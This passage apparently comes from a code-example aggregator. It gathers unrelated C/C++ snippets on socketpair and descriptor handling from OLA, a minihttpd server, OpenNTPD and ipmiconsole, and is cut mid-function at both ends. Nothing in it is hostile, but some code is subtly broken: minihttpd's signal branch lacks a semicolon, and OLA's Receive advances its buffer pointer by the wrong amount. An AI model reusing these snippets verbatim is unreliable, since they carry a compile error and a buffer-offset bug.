	close(fd[1]);
	return(rc);
}
Beispiel #26
0
/**
 * Send an IOQueue.
 * This attempts to send as much of the IOQueue data as possible. The IOQueue
 * may be non-empty when this completes if the descriptor buffer is full.
 * @returns the number of bytes sent.
 */
ssize_t ConnectedDescriptor::Send(IOQueue *ioqueue) {
  if (!ValidWriteDescriptor())
    return 0;

  int iocnt;
  const struct IOVec *iov = ioqueue->AsIOVec(&iocnt);

  ssize_t bytes_sent = 0;

#ifdef _WIN32
  /* There is no scatter/gather functionality for generic descriptors on
   * Windows, so this is implemented as a write loop. Derived classes should
   * re-implement Send() using scatter/gather I/O where available.
   */
  int bytes_written = 0;
  for (int io = 0; io < iocnt; ++io) {
    bytes_written = write(WriteDescriptor().m_handle.m_fd, iov[io].iov_base,
                          iov[io].iov_len);
    if (bytes_written == -1) {
      OLA_INFO << "Failed to send on " << WriteDescriptor() << ": " <<
        strerror(errno);
      break;
    }
    bytes_sent += bytes_written;
  }
#else
#if HAVE_DECL_MSG_NOSIGNAL
  if (IsSocket()) {
    struct msghdr message;
    memset(&message, 0, sizeof(message));
    message.msg_name = NULL;
    message.msg_namelen = 0;
    message.msg_iov = reinterpret_cast<iovec*>(const_cast<IOVec*>(iov));
    message.msg_iovlen = iocnt;
    bytes_sent = sendmsg(WriteDescriptor(), &message, MSG_NOSIGNAL);
  } else {
#else
  {
#endif
    bytes_sent = writev(WriteDescriptor(),
                        reinterpret_cast<const struct iovec*>(iov), iocnt);
  }
#endif

  ioqueue->FreeIOVec(iov);
  if (bytes_sent < 0) {
    OLA_INFO << "Failed to send on " << WriteDescriptor() << ": " <<
      strerror(errno);
  } else {
    ioqueue->Pop(bytes_sent);
  }
  return bytes_sent;
}


/*
 * Read data from this descriptor.
 * @param buffer a pointer to the buffer to store new data in
 * @param size the size of the buffer
 * @param data_read a value result argument which returns the amount of data
 * copied into the buffer
 * @returns -1 on error, 0 on success.
 */
int ConnectedDescriptor::Receive(uint8_t *buffer,
                                 unsigned int size,
                                 unsigned int &data_read) { // NOLINT
  int ret;
  uint8_t *data = buffer;
  data_read = 0;
  if (!ValidReadDescriptor())
    return -1;

  while (data_read < size) {
#ifdef _WIN32
    if ((ret = read(ReadDescriptor().m_handle.m_fd, data, size - data_read))
        < 0) {
#else
    if ((ret = read(ReadDescriptor(), data, size - data_read)) < 0) {
#endif
      if (errno == EAGAIN)
        return 0;
      if (errno != EINTR) {
        OLA_WARN << "read failed, " << strerror(errno);
        return -1;
      }
    } else if (ret == 0) {
      return 0;
    }
    data_read += ret;
    data += data_read;
  }
  return 0;
}


/*
 * Check if the remote end has closed the connection.
 * @return true if the socket is closed, false otherwise
 */
bool ConnectedDescriptor::IsClosed() const {
  return DataRemaining() == 0;
}

// LoopbackDescriptor
// ------------------------------------------------


/*
 * Setup this loopback socket
 */
bool LoopbackDescriptor::Init() {
  if (m_handle_pair[0] != INVALID_DESCRIPTOR ||
      m_handle_pair[1] != INVALID_DESCRIPTOR)
    return false;

  if (!CreatePipe(m_handle_pair))
    return false;

  SetReadNonBlocking();
  SetNoSigPipe(WriteDescriptor());
  return true;
}


/*
 * Close the loopback socket
 * @return true if close succeeded, false otherwise
 */
bool LoopbackDescriptor::Close() {
  if (m_handle_pair[0] != INVALID_DESCRIPTOR) {
#ifdef _WIN32
    CloseHandle(m_handle_pair[0].m_handle.m_handle);
#else
    close(m_handle_pair[0]);
#endif
  }

  if (m_handle_pair[1] != INVALID_DESCRIPTOR) {
#ifdef _WIN32
    CloseHandle(m_handle_pair[1].m_handle.m_handle);
#else
    close(m_handle_pair[1]);
#endif
  }

  m_handle_pair[0] = INVALID_DESCRIPTOR;
  m_handle_pair[1] = INVALID_DESCRIPTOR;
  return true;
}


/*
 * Close the write portion of the loopback socket
 * @return true if close succeeded, false otherwise
 */
bool LoopbackDescriptor::CloseClient() {
  if (m_handle_pair[1] != INVALID_DESCRIPTOR) {
#ifdef _WIN32
    CloseHandle(m_handle_pair[1].m_handle.m_handle);
#else
    close(m_handle_pair[1]);
#endif
  }

  m_handle_pair[1] = INVALID_DESCRIPTOR;
  return true;
}



// PipeDescriptor
// ------------------------------------------------

/*
 * Create a new pipe socket
 */
bool PipeDescriptor::Init() {
  if (m_in_pair[0] != INVALID_DESCRIPTOR ||
      m_out_pair[1] != INVALID_DESCRIPTOR)
    return false;

  if (!CreatePipe(m_in_pair))
    return false;

  if (!CreatePipe(m_out_pair)) {
#ifdef _WIN32
    CloseHandle(m_in_pair[0].m_handle.m_handle);
    CloseHandle(m_in_pair[1].m_handle.m_handle);
#else
    close(m_in_pair[0]);
    close(m_in_pair[1]);
#endif
    m_in_pair[0] = m_in_pair[1] = INVALID_DESCRIPTOR;
    return false;
  }

  SetReadNonBlocking();
  SetNoSigPipe(WriteDescriptor());
  return true;
}


/*
 * Fetch the other end of the pipe socket. The caller now owns the new
 * PipeDescriptor.
 * @returns NULL if the socket wasn't initialized correctly.
 */
PipeDescriptor *PipeDescriptor::OppositeEnd() {
  if (m_in_pair[0] == INVALID_DESCRIPTOR ||
      m_out_pair[1] == INVALID_DESCRIPTOR)
    return NULL;

  if (!m_other_end) {
    m_other_end = new PipeDescriptor(m_out_pair, m_in_pair, this);
    m_other_end->SetReadNonBlocking();
  }
  return m_other_end;
}


/*
 * Close this PipeDescriptor
 */
bool PipeDescriptor::Close() {
  if (m_in_pair[0] != INVALID_DESCRIPTOR) {
#ifdef _WIN32
    CloseHandle(m_in_pair[0].m_handle.m_handle);
#else
    close(m_in_pair[0]);
#endif
  }

  if (m_out_pair[1] != INVALID_DESCRIPTOR) {
#ifdef _WIN32
    CloseHandle(m_out_pair[1].m_handle.m_handle);
#else
    close(m_out_pair[1]);
#endif
  }

  m_in_pair[0] = INVALID_DESCRIPTOR;
  m_out_pair[1] = INVALID_DESCRIPTOR;
  return true;
}


/*
 * Close the write portion of this PipeDescriptor
 */
bool PipeDescriptor::CloseClient() {
  if (m_out_pair[1] != INVALID_DESCRIPTOR) {
#ifdef _WIN32
    CloseHandle(m_out_pair[1].m_handle.m_handle);
#else
    close(m_out_pair[1]);
#endif
  }

  m_out_pair[1] = INVALID_DESCRIPTOR;
  return true;
}


// UnixSocket
// ------------------------------------------------

/*
 * Create a new unix socket
 */
bool UnixSocket::Init() {
#ifdef _WIN32
  return false;
#else
  int pair[2];
  if ((m_handle != INVALID_DESCRIPTOR) || m_other_end)
    return false;

  if (socketpair(AF_UNIX, SOCK_STREAM, 0, pair)) {
    OLA_WARN << "socketpair() failed, " << strerror(errno);
    return false;
  }

  m_handle = pair[0];
  SetReadNonBlocking();
  SetNoSigPipe(WriteDescriptor());
  m_other_end = new UnixSocket(pair[1], this);
  m_other_end->SetReadNonBlocking();
  return true;
#endif
}


/*
 * Fetch the other end of the unix socket. The caller now owns the new
 * UnixSocket.
 * @returns NULL if the socket wasn't initialized correctly.
 */
UnixSocket *UnixSocket::OppositeEnd() {
  return m_other_end;
}


/*
 * Close this UnixSocket
 */
bool UnixSocket::Close() {
#ifdef _WIN32
  return true;
#else
  if (m_handle != INVALID_DESCRIPTOR) {
    close(m_handle);
  }

  m_handle = INVALID_DESCRIPTOR;
  return true;
#endif
}


/*
 * Close the write portion of this UnixSocket
 */
bool UnixSocket::CloseClient() {
#ifndef _WIN32
  if (m_handle != INVALID_DESCRIPTOR)
    shutdown(m_handle, SHUT_WR);
#endif

  m_handle = INVALID_DESCRIPTOR;
  return true;
}


// DeviceDescriptor
// ------------------------------------------------
DeviceDescriptor::DeviceDescriptor(int fd) {
#ifdef _WIN32
  m_handle.m_handle.m_fd = fd;
  m_handle.m_type = GENERIC_DESCRIPTOR;
  m_handle.m_event_handle = 0;
#else
  m_handle = fd;
#endif
}
Beispiel #27
0
int main(int argc,char **argv)
{

	server *srv=NULL;
	
	//step 1 : initialize server
	if( (srv= server_init()) ==NULL){
		fprintf(stderr,"failed to initialize server in [%s|%d|%s]\n",__FILE__,__LINE__,__FUNCTION__);
		return -1;		
	}	
	//step 2 : parameter parse
	char opt_chr;
	while(  (opt_chr=getopt(argc,argv,"f:hvD"))!=-1 ){
		switch(opt_chr){
			/*configuration file path */
		    case 'f':{
				        buffer_copy_string(srv->config->minihttpd_global_config_filepath,optarg);
				        break;
			}
		   /* show help */
		   case 'h':{
			            print_help();
						server_free(srv);
						return 0;
		   }
		  case 'v':{
			       fprintf(stdout,"%s-%s",srv->config->service_name->ptr,srv->config->version_info->ptr);
				   server_free(srv);
			       return 0;
		   }
		  case 'D':{
			         srv->dont_daemonize=1;
			         break;			
		  }
		  default:{
			        print_help();
			        server_free(srv);
					return -1;
		  }				
		}		
 	}

    //step 3 :check if all configuraiton is legal
	if(buffer_is_empty(srv->config->service_root_dir)){
		fprintf(stderr,"[%s|%d|%s]:please specify minihttp root dir in configuration file\n",
				 __FILE__,__LINE__,__FUNCTION__);
		server_free(srv);
		return -1;		
	}	
    /*parse the mime configuration file */
	if(buffer_is_empty(srv->config->mimetype_filepath)
	   ||   (srv->config->table= mime_table_initialize( (const char*)srv->config->mimetype_filepath->ptr) )==NULL){
        fprintf(stderr,"invalid mime configuration file is specified,pls check it..\n");
		server_free(srv);
		return -1;
	}

	//step4 :server started
    srv->uid=getuid();
	srv->gid=getgid();
	if(srv->uid==0) {  //we are root 
		struct rlimit res_limit;
		if(getrlimit(RLIMIT_NOFILE,&res_limit)!=0){
            fprintf(stderr,"[%s|%d|%s]: failed to get file descriptor max number for current process!\n",
					__FILE__,__LINE__,__FUNCTION__);
			server_free(srv);
			return -1;			
		}

		res_limit.rlim_cur=srv->config->max_fd;
		res_limit.rlim_max=srv->config->max_fd;
		
		if(setrlimit(RLIMIT_NOFILE,&res_limit)!=0){
			fprintf(stderr,"[%s|%d|%s]: failed call setrlimit(RLIMIT_NOFILE,) for current process!\n",
					__FILE__,__LINE__,__FUNCTION__);
			server_free(srv);
			return -1;			
		}     		
	}else{
		struct rlimit res_limit;
		if(getrlimit(RLIMIT_NOFILE,&res_limit)!=0){

			fprintf(stderr,"[%s|%d|%s]: failed to get file descriptor max number for current process!\n",
					__FILE__,__LINE__,__FUNCTION__);
			server_free(srv);
			return -1;				
		}

		if(srv->config->max_fd< res_limit.rlim_cur)
			res_limit.rlim_cur=srv->config->max_fd;
		else if(srv->config->max_fd<=res_limit.rlim_max)
			res_limit.rlim_cur=srv->config->max_fd;

		if(setrlimit(RLIMIT_NOFILE,&res_limit)!=0){
            fprintf(stderr,"[%s|%d|%s]: failed call setrlimit(RLIMIT_NOFILE,) for current process!\n",
				__FILE__,__LINE__,__FUNCTION__);
			server_free(srv);
			return -1;			 
		}
	}

	//step 5:  become a daemon process if dont_daemonize=0;
	if(!srv->dont_daemonize){
        daemonize((const char*)srv->config->service_name->ptr); 		 
	}
	//step 6: open log file for error log, by default we use syslog.
	// if the minihttpd log filepath is specified manually or server dont_daemonize=1,
	// we set mode = LOG_MODE_FILE;
	
	if(!buffer_is_empty(srv->config->log_filename) || srv->dont_daemonize ){
		if(buffer_is_empty(srv->config->log_filename))
			buffer_copy_string(srv->config->log_filename,MINIHTTPD_DEFAULT_LOG_FILEPATH);
		
		srv->log_fd= open((const char*)srv->config->log_filename->ptr,O_WRONLY|O_CREAT|O_TRUNC,
						  S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH);
		if(srv->log_fd<0){
			server_free(srv);
			return -1;
		}
		fd_close_on_exec(srv->log_fd);
        srv->mode=server::LOG_MODE_FILE;			
	}
	log_to_backend(srv,MINIHTTPD_LOG_LEVEL_INFO,"%s is start now...",(const char*)srv->config->service_name->ptr);
	
	//step 7 : create listening tcp socket(we only support ipv4 now)
    struct sockaddr_in * addr= (struct sockaddr_in*)&srv->server_addr;
	memset(addr,0,sizeof(*addr));
	addr->sin_family=AF_INET;
	addr->sin_addr.s_addr=htonl(INADDR_ANY);
	addr->sin_port=htons(srv->config->listenint_port);
	srv->listening_socket_fd= create_tcp_socket((struct sockaddr*)addr,srv->config->max_listening_number);
	if(srv->listening_socket_fd<0){
        log_to_backend(srv, MINIHTTPD_LOG_LEVEL_ERROR,"failed to create listening tcp socket on port:%d",
							 srv->config->listenint_port);
		server_free(srv);
		return -1;
	}

	 /*
	    step 8:  setup signal  handler
		signo: SIGCHLD
		signo: SIGPIPE: unix domain socket pipe is broken
		signo: SIGINT:  user intend to shutdown the minihttpd server
		                if SIGINT is kill to the server proces for twice, the minihtpd server is going to shutdown
		signo: SIGTERM: exit minihttpd service now 				
	 */
	struct sigaction act;
	sigemptyset(&act.sa_mask);
	act.sa_flags=0;
	act.sa_handler=signal_handler;
	sigaction(SIGPIPE,&act,NULL);
	sigaction(SIGCHLD,&act,NULL);
    sigaction(SIGINT,&act,NULL);
	sigaction(SIGTERM,&act,NULL);
	
	/*
	     step 9: fork worker child process  and transfter accept socket file descriptor to worker process
		 the only tasks for main processis :
		        1) to call accept to wait for connection and pick one worker process to handle the connection  
				2) wait all worker  process to finish before exit.
   */
    
	for(uint32_t worker_process_id=0;worker_process_id< srv->worker_number ;worker_process_id++) {
		server_child * child= &srv->child[worker_process_id];
		
		//create unix domain socket 
		if(socketpair(AF_UNIX,SOCK_STREAM,0,child->unix_domain_socket_fd)<0){
			log_to_backend(srv,MINIHTTPD_LOG_LEVEL_ERROR,"failed to create unix domain socket for worker%d",
						  worker_process_id);
			close(srv->listening_socket_fd);
			server_free(srv);
			return -1;			
		}
        child->sent_connection_number=0;
		int unix_domain_socket_child_fd=child->unix_domain_socket_fd[1];
		fd_set_nonblocking(unix_domain_socket_child_fd);
		child->pid=fork();
		
		if(child->pid <0){   //we can not fork worker process, this should not be happened
			close(srv->listening_socket_fd);
			server_free(srv) ;
			return -1;
		}
		else if(child->pid ==0) {   /*  worker process */ 
            /*we should use p_worker only in the child worker process */
#if 0
			minihttpd_running_log(srv->log_fd,MINIHTTPD_LOG_LEVEL_INFO,__FILE__,__LINE__,__FUNCTION__,
								  "worker(pid=%d) is starting.....",getpid());
#endif 	
			worker * server_worker =  (worker*)malloc(sizeof(worker));
			memset(server_worker,0,sizeof(worker));
            server_worker->worker_id= worker_process_id;
			server_worker->unix_domain_socekt_fd=unix_domain_socket_child_fd;
			server_worker->log_filepath=buffer_init();
			server_worker->global_config= srv->config;
			/*step1 : get current file descriptor max number (it should be same as parent process
			                               which we have set the resouces)*/
		    struct rlimit limit;
			if(getrlimit(RLIMIT_NOFILE,&limit)<0){
				exit(-1);  // terminated the worker   				
			}
			//close unnecessary file descriptor
			for(uint32_t file_descriptor_index=0;file_descriptor_index< limit.rlim_cur;file_descriptor_index++){
				if(file_descriptor_index> STDERR_FILENO && file_descriptor_index != unix_domain_socket_child_fd){
					close(file_descriptor_index);					
				}
			}
			
			//step 2: set event handler
			server_worker->ev= fdevent_initialize(limit.rlim_cur);
            /*support max connection number */
			uint32_t worker_support_max_connections=limit.rlim_cur/2;
			worker_connection_initialize(server_worker, worker_support_max_connections);
			
			//step 3 : register unix domain socket event
			fdevents_register_fd(server_worker->ev,server_worker->unix_domain_socekt_fd,
								 unix_domain_socket_handle,server_worker);
			//EPOLLHUP |EPOLLERR events is set by default
			fdevents_set_events(server_worker->ev,server_worker->unix_domain_socekt_fd,EPOLLIN); 

			//step 4 : open log file for worker to log debug/info/warning/error
            if(buffer_is_empty(server_worker->log_filepath)){
				char  worker_log_filepath[255];
				snprintf(worker_log_filepath,sizeof(worker_log_filepath),
						            MINIHTTPD_WORKER_CONFIG_PATH"%u.log", server_worker->worker_id );
				buffer_append_string(server_worker->log_filepath,worker_log_filepath);			   				
			}
			server_worker->log_fd= open((const char*)server_worker->log_filepath->ptr, O_WRONLY|O_CREAT|O_TRUNC,
				 S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH);
			if(server_worker->log_fd<0){
				exit(-2); 
			}
			//step 5 : setup timer and expect timer will expire with internal 1 seconds
			time(&server_worker->cur_ts);
			int timer_fd=timerfd_create(CLOCK_REALTIME,TFD_NONBLOCK);
			struct itimerspec timer_spec;
			timer_spec.it_value.tv_sec=1;
			timer_spec.it_value.tv_nsec=0;
			timer_spec.it_interval.tv_sec=1;
			timer_spec.it_interval.tv_nsec=0;
			timerfd_settime(timer_fd,0,&timer_spec,NULL);
			// setup timer experation events handler
			fdevents_register_fd(server_worker->ev, timer_fd,worker_timer_expire_handler,
				server_worker);
			fdevents_set_events(server_worker->ev,timer_fd,EPOLLIN);
			
			/* main loop for worker: epoll event loop for unix domain socket and connections */
			while(server_shutdown==0 || server_worker->cur_connection_number >0 ) {
				int n=epoll_wait(server_worker->ev->epoll_fd, server_worker->ev->epoll_events,
								 server_worker->ev->max_epoll_events,-1);
				if(n<0 ){
					if(errno!=EINTR){
						minihttpd_running_log(server_worker->log_fd,MINIHTTPD_LOG_LEVEL_ERROR
											  ,__FILE__,__LINE__,__FUNCTION__,
											  "failed to call epoll with errno=%d",errno);						
					}
					continue;
				}
				else if(n==0){
					//we should not get to here
					continue;					
				}else {

					for(uint32_t event_index=0;event_index<n;event_index++){
                        struct epoll_event * event= &server_worker->ev->epoll_events[event_index];
						assert(event!=NULL);
						int connection_socket_fd= event->data.fd;
						event_handle handler=fdevents_get_handle(server_worker->ev,connection_socket_fd);
						void * event_ctx=fdevents_get_context(server_worker->ev, connection_socket_fd);
						assert(handler!=NULL);
						int handle_status= handler(connection_socket_fd,event_ctx,event->events);
					    minihttpd_running_log(server_worker->log_fd,handle_status==0?
											  MINIHTTPD_LOG_LEVEL_INFO:MINIHTTPD_LOG_LEVEL_ERROR,
											  __FILE__,__LINE__,__FUNCTION__,"the epoll event is already handled!");
						

					}										
				}				
			}
			
			minihttpd_running_log(server_worker->log_fd,MINIHTTPD_LOG_LEVEL_INFO,
							  __FILE__,__LINE__,__FUNCTION__,"child worker process has finished all client requests!\n");

			/*free all connections */
			worker_free_connectons(server_worker);

			/* unregister timer file descriptor */
			fdevents_unset_event(server_worker->ev,timer_fd);
			fdevents_unregister_fd(server_worker->ev,timer_fd);
		    close(timer_fd);
            /* unregister unix domain socket hanlde events and handler context */
			fdevents_unset_event(server_worker->ev,server_worker->unix_domain_socekt_fd);
			fdevents_unregister_fd(server_worker->ev,server_worker->unix_domain_socekt_fd);
			close(server_worker->unix_domain_socekt_fd);
			
			/* free fevents resources  */
            close(server_worker->ev->epoll_fd);			
			fdevent_free(server_worker->ev);

			//close the log file
			close(server_worker->log_fd);
			buffer_free(server_worker->log_filepath);

			/* free worker */
			free( (void*) server_worker);
			exit(0);   //termianted the worker 
		}
		//close the unix domain socket worker file descriptor;
		close(child->unix_domain_socket_fd[1]);

		// child worker is running 
		child->worker_running=1;
		//parent process
		log_to_backend(srv,MINIHTTPD_LOG_LEVEL_INFO,"worker process %d is already created!",worker_process_id);
	}

    //main loop to accept client connection and re-transfter to worker process 
	while(!server_shutdown) {

         /*
             log signal events after signal si handled by signal handler   

		 */
		if(signal_pipe_handled){
            /* if unix domain socket pipe is broken and we still write data to the pipe  */
		    	
		}
		
		
		if(signal_child_handled){
			/*a child worker process has terminated */
			int worker_exit_status;
			pid_t exit_worker_pid;

			
			while( (exit_worker_pid= waitpid(-1,&worker_exit_status,WNOHANG))>0){

			  if(WIFEXITED(worker_exit_status)){	  
			    log_to_backend(srv,MINIHTTPD_LOG_LEVEL_ERROR,"worker child process(pid=%d) has exited normally with exit"  \
							  "status=%d",exit_worker_pid,WEXITSTATUS(worker_exit_status));
			  }	  
			  else if(WIFSIGNALED(worker_exit_status)){
				  log_to_backend(srv,MINIHTTPD_LOG_LEVEL_ERROR,"worker child process(pid=%d) is killed by signal(%d)",
								 exit_worker_pid,WTERMSIG(worker_exit_status))  
			  }
              else{
            		 log_to_backend(srv,MINIHTTPD_LOG_LEVEL_ERROR,"worker child process(pid=%d) has exited unexpected",                                      exit_worker_pid);
			  }

               //remove the worker from available worker list and do not send socket file descriptor to it
			  for(uint32_t child_worker_id=0;child_worker_id< srv->worker_number;child_worker_id++){
				  if(srv->child[child_worker_id].pid==exit_worker_pid)
					  srv->child[child_worker_id].worker_running=0;				  
			  }			 			 
		    }

		    signal_child_handled=0;
		}		
		//we block here to wait connection(only IPV4 is supported now ) 
		struct sockaddr_in client_addr;
		socklen_t client_addr_length=sizeof(client_addr);
		int connection_fd =accept(srv->listening_socket_fd,(struct sockaddr*)&client_addr,(socklen_t*)& client_addr_length);
		if(connection_fd<0){
			switch(errno){
			   case  EINTR:
				// the connection is reset by client
			   case ECONNABORTED:   
				                 continue;				   		  				
			   case  EMFILE:  //file descriptor is all used now, need to send file descriptor to worker soon
				             break;
			   default:  {
				   log_to_backend(srv,MINIHTTPD_LOG_LEVEL_ERROR,"failed to call accept() with errno=%d\n",errno);				 
				   break;				
			   }				
			}			
		}
		else{

          /*
		     pick up a worker process and send the @conneciton_fd to it
             the pick algorithm is round-robin,;
			 but for the draft version, we just pick a worker that we has sent the min connections  

		  */
 		 log_to_backend(srv,MINIHTTPD_LOG_LEVEL_INFO,"client connection is accepted,pick a worker to handle it.");
			
		 uint32_t  pick_worker_index= srv->worker_number;
		 uint32_t  min_sent_connections=0xFFFFFFFF;

         for(uint32_t worker_process_id=0; worker_process_id<srv->worker_number;worker_process_id++){
            if(srv->child[worker_process_id].sent_connection_number < min_sent_connections
			   &&  srv->child[worker_process_id].worker_running) {
				min_sent_connections= srv->child[worker_process_id].sent_connection_number;
				pick_worker_index= worker_process_id;
			}			
		 }
		 
		 if(pick_worker_index>= srv->worker_number){
			  /* we can not handle it as all child worker has exited...*/
			 close(connection_fd);
			 continue;
		 }
		 
		 /*set file descriptor to nonblocking and set close_on_exec flag*/
		 fd_set_nonblocking(connection_fd);
		 fd_close_on_exec(connection_fd);

		 if(unix_domain_socket_sendfd(srv->child[pick_worker_index].unix_domain_socket_fd[0],
									 connection_fd)<0){
			 log_to_backend(srv,MINIHTTPD_LOG_LEVEL_ERROR,"failed to send the connection file descriptor to worker!");
			 close(connection_fd);  //just close it to tell the client,we can not handle it now.
			 continue;			
		 }
		 srv->child[pick_worker_index].sent_connection_number++;
		 //close the file descriptor as it is already marked in flight
		 close(connection_fd);
	   }
	}
Beispiel #28
0
int
main(int argc, char *argv[])
{
	struct ntpd_conf	 lconf;
	struct pollfd		 pfd[POLL_MAX];
	pid_t			 chld_pid = 0, pid;
	const char		*conffile;
	int			 fd_ctl, ch, nfds;
	int			 pipe_chld[2];
	struct passwd		*pw;
	extern char 		*__progname;

	__progname = _compat_get_progname(argv[0]);

	if (strcmp(__progname, "ntpctl") == 0) {
		ctl_main (argc, argv);
		/* NOTREACHED */
	}

	conffile = CONFFILE;

	bzero(&lconf, sizeof(lconf));

	log_init(1);		/* log to stderr until daemonized */

	while ((ch = getopt(argc, argv, "df:nsSv")) != -1) {
		switch (ch) {
		case 'd':
			lconf.debug = 1;
			break;
		case 'f':
			conffile = optarg;
			break;
		case 'n':
			lconf.noaction = 1;
			break;
		case 's':
			lconf.settime = 1;
			break;
		case 'S':
			lconf.settime = 0;
			break;
		case 'v':
			debugsyslog = 1;
			break;
		default:
			usage();
			/* NOTREACHED */
		}
	}

	argc -= optind;
	argv += optind;
	if (argc > 0)
		usage();

	if (parse_config(conffile, &lconf))
		exit(1);

	if (lconf.noaction) {
		fprintf(stderr, "configuration OK\n");
		exit(0);
	}

	if (geteuid())
		errx(1, "need root privileges");

	if ((pw = getpwnam(NTPD_USER)) == NULL)
		errx(1, "unknown user %s", NTPD_USER);

#ifndef HAVE_ARC4RANDOM
	seed_rng();
#endif

	if (setpriority(PRIO_PROCESS, 0, -20) == -1)
		warn("can't set priority");

	reset_adjtime();
	if (!lconf.settime) {
		log_init(lconf.debug);
		if (!lconf.debug)
			if (daemon(1, 0))
				fatal("daemon");
	} else
		timeout = SETTIME_TIMEOUT * 1000;

	if (socketpair(AF_UNIX, SOCK_STREAM, PF_UNSPEC, pipe_chld) == -1)
		fatal("socketpair");

	if ((fd_ctl = control_init(CTLSOCKET)) == -1)
		fatalx("control socket init failed");
	if (control_listen(fd_ctl) == -1)
		fatalx("control socket listen failed");

	signal(SIGCHLD, sighdlr);
	/* fork child process */
	chld_pid = ntp_main(pipe_chld, fd_ctl, &lconf, pw);

	setproctitle("[priv]");
	readfreq();

	signal(SIGTERM, sighdlr);
	signal(SIGINT, sighdlr);
	signal(SIGHUP, sighdlr);

	close(pipe_chld[1]);

	if ((ibuf = malloc(sizeof(struct imsgbuf))) == NULL)
		fatal(NULL);
	imsg_init(ibuf, pipe_chld[0]);

	while (quit == 0) {
		pfd[PFD_PIPE].fd = ibuf->fd;
		pfd[PFD_PIPE].events = POLLIN;
		if (ibuf->w.queued)
			pfd[PFD_PIPE].events |= POLLOUT;

		if ((nfds = poll(pfd, 1, timeout)) == -1)
			if (errno != EINTR) {
				log_warn("poll error");
				quit = 1;
			}

		if (nfds == 0 && lconf.settime) {
			lconf.settime = 0;
			timeout = INFTIM;
			log_init(lconf.debug);
			log_debug("no reply received in time, skipping initial "
			    "time setting");
			if (!lconf.debug)
				if (daemon(1, 0))
					fatal("daemon");
		}

		if (nfds > 0 && (pfd[PFD_PIPE].revents & POLLOUT))
			if (msgbuf_write(&ibuf->w) <= 0 && errno != EAGAIN) {
				log_warn("pipe write error (to child)");
				quit = 1;
			}

		if (nfds > 0 && pfd[PFD_PIPE].revents & POLLIN) {
			nfds--;
			if (dispatch_imsg(&lconf) == -1)
				quit = 1;
		}

		if (sigchld) {
			if (check_child(chld_pid, "child")) {
				quit = 1;
				chld_pid = 0;
			}
			sigchld = 0;
		}

	}

	signal(SIGCHLD, SIG_DFL);

	if (chld_pid)
		kill(chld_pid, SIGTERM);

	do {
		if ((pid = wait(NULL)) == -1 &&
		    errno != EINTR && errno != ECHILD)
			fatal("wait");
	} while (pid != -1 || (pid == -1 && errno == EINTR));

	msgbuf_clear(&ibuf->w);
	free(ibuf);
	log_info("Terminating");
	return (0);
}
Beispiel #29
0
int
ipmiconsole_ctx_connection_setup (ipmiconsole_ctx_t c)
{
  struct sockaddr_in srcaddr;
  int sv[2];
  int secure_malloc_flag;

  assert (c);
  assert (c->magic == IPMICONSOLE_CTX_MAGIC);
  assert (!(c->session_submitted));

  _ipmiconsole_ctx_connection_init (c);

  /* File Descriptor User Interface */

  if (socketpair (AF_UNIX, SOCK_STREAM, 0, sv) < 0)
    {
      IPMICONSOLE_DEBUG (("socketpair: %s", strerror (errno)));
      if (errno == EMFILE)
        ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_TOO_MANY_OPEN_FILES);
      else
        ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_SYSTEM_ERROR);
      goto cleanup;
    }
  c->connection.user_fd = sv[0];
  c->connection.ipmiconsole_fd = sv[1];

  if (ipmiconsole_set_closeonexec (c, c->connection.user_fd) < 0)
    {
      IPMICONSOLE_DEBUG (("closeonexec error"));
      goto cleanup;
    }
  if (ipmiconsole_set_closeonexec (c, c->connection.ipmiconsole_fd) < 0)
    {
      IPMICONSOLE_DEBUG (("closeonexec error"));
      goto cleanup;
    }

  /* Copy for API level */
  c->fds.user_fd = c->connection.user_fd;

  secure_malloc_flag = (c->config.engine_flags & IPMICONSOLE_ENGINE_LOCK_MEMORY) ? 1 : 0;

  if (!(c->connection.console_remote_console_to_bmc = scbuf_create (CONSOLE_REMOTE_CONSOLE_TO_BMC_BUF_MIN, CONSOLE_REMOTE_CONSOLE_TO_BMC_BUF_MAX, secure_malloc_flag)))
    {
      IPMICONSOLE_DEBUG (("scbuf_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }

  if (!(c->connection.console_bmc_to_remote_console = scbuf_create (CONSOLE_BMC_TO_REMOTE_CONSOLE_BUF_MIN, CONSOLE_BMC_TO_REMOTE_CONSOLE_BUF_MAX, secure_malloc_flag)))
    {
      IPMICONSOLE_DEBUG (("scbuf_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }

  /* Connection Data */

  if ((c->connection.ipmi_fd = socket (AF_INET, SOCK_DGRAM, 0)) < 0)
    {
      IPMICONSOLE_DEBUG (("socket: %s", strerror (errno)));
      if (errno == EMFILE)
        ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_TOO_MANY_OPEN_FILES);
      else
        ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_SYSTEM_ERROR);
      goto cleanup;
    }

  if (ipmiconsole_set_closeonexec (c, c->connection.ipmi_fd) < 0)
    {
      IPMICONSOLE_DEBUG (("closeonexec error"));
      goto cleanup;
    }

  memset (&srcaddr, '\0', sizeof (struct sockaddr_in));
  srcaddr.sin_family = AF_INET;
  srcaddr.sin_port = htons (0);
  srcaddr.sin_addr.s_addr = htonl (INADDR_ANY);

  if (bind (c->connection.ipmi_fd, (struct sockaddr *)&srcaddr, sizeof (struct sockaddr_in)) < 0)
    {
      IPMICONSOLE_DEBUG (("bind: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_SYSTEM_ERROR);
      goto cleanup;
    }

  if (!(c->connection.ipmi_from_bmc = scbuf_create (IPMI_FROM_BMC_BUF_MIN, IPMI_FROM_BMC_BUF_MAX, secure_malloc_flag)))
    {
      IPMICONSOLE_DEBUG (("scbuf_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }

  if (!(c->connection.ipmi_to_bmc = scbuf_create (IPMI_TO_BMC_BUF_MIN, IPMI_TO_BMC_BUF_MAX, secure_malloc_flag)))
    {
      IPMICONSOLE_DEBUG (("scbuf_create: %s", strerror (errno)));
